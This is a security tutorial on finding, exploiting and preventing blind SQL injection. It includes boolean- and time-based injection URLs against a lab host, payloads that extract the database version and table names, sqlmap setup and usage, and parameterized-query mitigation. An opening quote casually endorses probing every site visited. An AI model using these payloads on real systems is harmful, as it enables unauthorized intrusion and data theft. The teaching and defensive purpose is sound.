How to Prevent Blind SQL Injection
Blind SQL injection is similar to normal SQL injection, except that the HTTP responses will not contain the results of the relevant SQL query and a generic error page is shown instead. Only one bit of information (true/false) can be extracted per request – but that is all it takes.
We are going to take a look at how to find the most common types of blind SQL vulnerabilities, how to exploit them in order to exfiltrate data and also how to mitigate the risk in your own applications.
Finding the vulnerability
I always add an apostrophe (
'
) to all GET parameters in all websites I visit. It’s easy, does not need any tools and if you detect anything suspicious, just throw sqlmap at it. – Anonymous
The most straightforward way of detecting a blind SQL injection vulnerability has a lot of overlap with classical SQL injection testing – find where user input is used directly in a database query and think of some input data that would break the structure of the query string.
Boolean-based blind SQL injection
Example 1
http://vulnerable.lab/photo.php?id=1
Photo 1 loaded successfully
http://vulnerable.lab/photo.php?id=1'
Photo 1 load fails
http://vulnerable.lab/photo.php?id=2-1
Photo 1 loaded successfully
http://vulnerable.lab/photo.php?id=1 and 1=1
Normal page returned (true
response)
http://vulnerable.lab/photo.php?id=1 and 0=1
Blank page returned or errors (false
response)
Time-based blind SQL injection
http://vulnerable.lab/photo.php?id=1-SLEEP(10)
Normal page returned after a delay of 10 seconds
http://vulnerable.lab/photo.php?id=1' waitfor delay '00:00:10'--
Same for MSSQL
Exploiting
Once you have your true
and false
queries, you can start exfiltrating data from the backend.
Check SQL Version:
http://vulnerable.lab/photo.php?id=1 AND substring(version(),1,1)=4
Blank page returned (false
response)
http://vulnerable.lab/photo.php?id=1 AND substring(version(),1,1)=5
Normal page returned (true
response)
Check if subqueries are enabled:
http://vulnerable.lab/photo.php?id=1 AND select(1)=1
Check table names:
http://vulnerable.lab/photo.php?id=1 AND (select 1 from admin limit 0,1)=1
Blank page returned (no admin
table)
http://vulnerable.lab/photo.php?id=1 AND (select 1 from users limit 0,1)=1
Normal page returned (table users
exists!)
Cheatsheets
For more exfiltration ideas, please have a look at pentestmonkey’s cheatsheets for MySQL, MSSQL, PostgreSQL and Oracle SQL.
Automated exploiting
The sqlmap tool is pre-installed on Kali Linux and is easily available on other Linux distributions. Sqlmap can detect and exploit various types of SQL injection, including Time and Boolean-based blind SQL injection.
Install
Make sure you have python installed, then just download the latest zip and extract, or clone via git:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
Usage
python sqlmap.py -u 'http://vulnerable.lab/photo.php?id=1'
For more info on sqlmap, have a look at python sqlmap.py --help
or check the official guide.
Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
Mitigation
Although the techniques needed to find and exploit blind SQL injection vulnerabilities are different and more sophisticated than for regular SQL injection, the measures needed to prevent SQL injection are the same regardless of whether the vulnerability is blind or not.
As with regular SQL injection, blind SQL injection attacks can be prevented through the careful use of parameterized queries, which ensure that user input cannot interfere with the structure of the intended SQL query.
Just to drive the point home: Use parametrized queries. Do not concatenate strings in your queries. OWASP has a cheat sheet for parametrized queries in all types of languages.
Example for PHP from OWASP cheat sheet:
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);
Using a Web Application Firewall, such as Sucuri, ModSecurity or NAXSI, can prevent malicious SQL injection attempts from reaching your server.
Please also keep in mind that new WAF bypasses are occasionally discovered. Sqlmap has many tampering scripts for various web application firewalls, so your mileage may vary.
Conclusion
Even though exploiting blind SQL injection vulnerabilities might need additional steps before any useful data can be ex-filtrated, it is just as dangerous as classic injection attacks.
Written by Kert Ojassoo, security engineer